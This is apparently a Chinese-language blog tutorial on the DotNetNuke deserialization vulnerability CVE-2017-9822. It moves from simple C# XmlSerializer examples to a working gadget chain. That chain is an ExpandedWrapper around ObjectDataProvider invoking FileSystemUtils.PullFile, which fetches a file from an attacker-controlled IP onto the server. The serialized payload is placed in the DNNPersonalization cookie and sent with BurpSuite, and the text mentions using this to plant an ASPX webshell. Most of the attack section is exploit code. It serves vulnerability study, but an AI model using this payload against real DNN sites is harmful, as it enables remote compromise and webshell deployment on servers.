DotNetNuke Deserialization RCE CVE–2017–9822
学习 .NET 反序列化
前言
DNN是一个世界领先的开源门户和内容管理框架,被世界范围内数千个组织使用。通常门户为组织内的多个应用程序提供一个统一的web前台。例如,展现来自人力资源、财务、营销及客户服务的信息。连接起来的后台系统也为企业提供了信息组合及协同处理的机会。
2017年7月5日,DNN安全板块发布了一个编号 CVE-2017-9822 的严重漏洞,随后漏洞报告者 Alvaro Muñoz 和 Oleksandr Mirosh 在 Blackhat USA 2017 上披露了其中的一些细节。详情
本文记录学习过程
.NET 反序列化
来看一下这个例子
using System;
using System.Xml.Serialization;
using System.IO;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
Person person = new Person();
person.name = "bingan";
Serialize(person);
}
static void Serialize(Person person)
{
var ser = new XmlSerializer(typeof(Person));
TextWriter textWriter = new StreamWriter("C:\\out.ser");
ser.Serialize(textWriter, person);
textWriter.Close();
}
}
public class Person
{
private String _name;
public String name
{
get { return _name; }
set
{
this._name = value;
Console.WriteLine("the person named: " + this._name);
}
}
}
}
类Program
中的Serialize
方法可以将传入的对象进行xml
序列化然后输出到C:\out.ser
中,运行测试一下:

可以看到成功生成了序列化XML
数据,接着来看看反序列化操作:
using System;
using System.Xml.Serialization;
using System.IO;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
DeSerialize();
// 为了调试方便,可以使用
Console.ReadKey();
}
static void Serialize(Person person)
{
var ser = new XmlSerializer(typeof(Person));
TextWriter textWriter = new StreamWriter("C:\\out.ser");
ser.Serialize(textWriter, person);
textWriter.Close();
}
static void DeSerialize()
{
var input = new FileStream("C:\\out.ser", FileMode.Open, FileAccess.Read);
var reader = new StreamReader(input);
var ser = new XmlSerializer(typeof(Person));
ser.Deserialize(reader);
}
}
public class Person
{
private String _name;
public String name
{
get { return _name; }
set
{
_name = value;
Console.WriteLine("the person named: " + _name);
}
}
}
}
读取刚刚生成的序列化文件,然后通过XmlSerializer
反序列化生成对象

在上个例子中,我们限定了反序列化的对象类型Person
,但是在生产环境中,可能会存在需要反序列化其他对象的场景。当我们能够控制序列化的对象时,可能就会存在反序列化漏洞。
假如存在如下例子:
using System;
using System.Xml.Serialization;
using System.IO;
using System.Xml;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
String txt = "bingan";
int myClass = 1;
if (myClass == 1)
{
Class1 c1 = new Class1();
c1.text = txt;
CustomSerializer(c1);
}
else
{
Class2 c2 = new Class2();
c2.text = txt;
CustomSerializer(c2);
}
}
static void CustomSerializer(Object Obj)
{
XmlDocument xml1 = new XmlDocument();
XmlElement xmlElement1 = xml1.CreateElement("root");
xml1.AppendChild(xmlElement1);
XmlElement xmlElement2 = xml1.CreateElement("item");
xmlElement2.SetAttribute("objectType", Obj.GetType().AssemblyQualifiedName);
XmlDocument xml2 = new XmlDocument();
XmlSerializer xmlSerializer = new XmlSerializer(Obj.GetType());
StringWriter writer = new StringWriter();
xmlSerializer.Serialize(writer, Obj);
xml2.LoadXml(writer.ToString());
xmlElement2.AppendChild(xml1.ImportNode(xml2.DocumentElement, true));
xmlElement1.AppendChild(xmlElement2);
File.WriteAllText("C:\\out.ser", xml1.OuterXml);
}
}
public class Class1
{
private String _text;
public String text
{
get { return _text; }
set { _text = value; Console.WriteLine("Class1 says: " + _text); }
}
}
public class Class2
{
private String _text;
public String text
{
get { return _text; }
set { _text = value; Console.WriteLine("Class2 says: " + _text); }
}
}
}
输出结果为:

同时使用如下代码加载这个XML
文件
using System;
using System.Xml.Serialization;
using System.IO;
using System.Xml;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
String xmlString = File.ReadAllText("C:\\out.ser");
CustomDeSerializer(xmlString);
Console.ReadKey();
}
static void CustomDeSerializer(String xmlString)
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.LoadXml(xmlString);
foreach (XmlElement xmlItem in xmlDocument.SelectNodes("root/item"))
{
string typeName = xmlItem.GetAttribute("objectType");
var xser = new XmlSerializer(Type.GetType(typeName));
var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml));
xser.Deserialize(reader);
}
}
}
public class Class1
{
private String _text;
public String text
{
get { return _text; }
set { _text = value; Console.WriteLine("Class1 says: " + _text); }
}
}
public class Class2
{
private String _text;
public String text
{
get { return _text; }
set { _text = value; Console.WriteLine("Class2 says: " + _text); }
}
}
}
可以看到成功输出了Class1 says: bingan

这时候修改ser.out
文件,将其中所有的Class1
改为Class2
:
<root><item objectType="ConsoleApp1.Class2, ConsoleApp1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null"><Class2 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><text>bingan</text></Class2></item></root>
保存再运行一遍:

可以看到成功改变了执行类。
DotNetNuke 反序列化
在介绍DotNetNuke
之前,需要下载一个分析.NET
常用的工具:dnSpy
dnSpy is a debugger and .NET assembly editor. You can use it to edit and debug assemblies even if you don't have any source code available. Main features:
- Debug .NET and Unity assemblies
- Edit .NET and Unity assemblies
- Light and dark themes
漏洞点
DotNetNuke
-> DotNetNuke.Services.Personalization
-> LoadProfile
: 29

此处调用了Globals.DeserializeHashTableXml
,里面的参数是可控的,当用户未登录时,DotNetNuke
将会从HttpContext
获取请求中的Cookies
字段,也就是请求头中的Cookie
,跟进DeserializeHashTableXml
:

调用了XmlUtils.DeSerializeHashtable
,注意此处的profile
为硬编码字段,继续跟进:

上一步骤中,设置了rootname
为"profile"
也就是说,进行反序列化操作的时候读取的路径是profile/item
。另外,在160
行中,程序获取xml
中的type
字段,通过XmlSerializer
指定该字段名为目标调用对象。最终送入xmlSerializer.Deserialize
进行反序列化。
在这里思路是不是已经非常清晰了,只要能够构造一个xml
文件,它的profile/item
节点中,存在type
字段,同时该字段为一个危险对象。存在吗?存在。
DotNetNuke.Common.Utilities.FileSystemUtils
中提供了文件下载功能

假如我们能够控制URL
字段和FilePath
字段,我们就能控制目标服务器进行任意文件下载,例如下载ASPX木马
。但是很可惜,这个URL
和FilePath
并没有getter
和setter
方法。
ObjectDataProvider
那么要怎么利用他呢?微软提供了一个对象 ObjectDataProvider

我们来分析一下这个对象:PresentationFramework.dll
,他在.NET/FrameWork
安装目录下的WPF
目录中

当设置MethodName
的时候会调用Refresh
方法,跟进

接着跟进BeginQuery
方法

然后就完了。。?不对吧,文档上面说的是可以调用方法,实际上,这个方法是被重写了

我们来看看ObjectDataProvider
对象怎么重写的方法

跟进QueryWorker
方法

在300
行上InvokeMethodOnInstance
完成了最终的函数调用,其中的methodParameters
为参数数组,MethodName
为想要调用的方法名称

太艰辛了,测试一下吧
using DotNetNuke.Common.Utilities;
using System.Windows.Data;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = new FileSystemUtils();
objectDataProvider.MethodName = "PullFile";
objectDataProvider.MethodParameters.Add("http://192.168.119.127:8000/test.txt");
objectDataProvider.MethodParameters.Add("C:/test.txt");
}
}
}
本地成功收到请求:

好了,回到 DotNetNuke
中,我们已经能够构造对象,并且这个对象的参数可以由我们来控制,在执行set
方法时,会同时执行我们控制的方法 PullFile
。看上去非常完美,最后只需要将他转为 XML
数据,在请求的 header
中添加 Cookie: DNNPersonalization
和 XML
数据即可,对吧?试一下
using DotNetNuke.Common.Utilities;
using System.Windows.Data;
using System.Xml.Serialization;
using System;
using System.Collections;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider objectDataProvider = new ObjectDataProvider();
objectDataProvider.ObjectInstance = new FileSystemUtils();
objectDataProvider.MethodName = "PullFile";
objectDataProvider.MethodParameters.Add("http://192.168.119.127:8000/test.txt");
objectDataProvider.MethodParameters.Add("C:/test.txt");
Hashtable table = new Hashtable();
table["Table"] = objectDataProvider;
String payload = XmlUtils.SerializeDictionary(table, "profile");
Console.WriteLine(payload);
Console.ReadKey();
}
}
}
运行,结果报错了

The type DotNetNuke.Common.Utilities.FileSystemUtils was not expected
这是由于我们传递的是一个 ObjectDataProvider
,而 XmlSerializer
使用的 GetType
无法获取到FileSystemUtils
的对象类型,头疼咯。还记得开头提到的 Alvaro Muñoz 和 Oleksandr Mirosh 吗,他们提出了解决方法:使用 ExpandedWrapper 来完成恶意代码的构造,
This class is used internally by the system to implement support for queries with eager loading of related entities.
他可以提前加载相关实体的查询,我们用上它,改写一下当前的代码:
using DotNetNuke.Common.Utilities;
using System.Windows.Data;
using System;
using System.Data.Services.Internal;
using System.Collections;
namespace ConsoleApp1
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
expandedWrapper.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
expandedWrapper.ProjectedProperty0.MethodName = "PullFile";
expandedWrapper.ProjectedProperty0.MethodParameters.Add("http://192.168.119.127:8000/test.txt");
expandedWrapper.ProjectedProperty0.MethodParameters.Add("C:/test.txt");
Hashtable table = new Hashtable();
table["Table"] = expandedWrapper;
String payload = XmlUtils.SerializeDictionary(table, "profile");
Console.WriteLine(payload);
Console.ReadKey();
}
}
}
成功得到输出:

最后,测试一下能否成功下载文件,在 BurpSuite
中将刚刚生成的 Payload 加在 Cookie 后面,发送

成功触发下载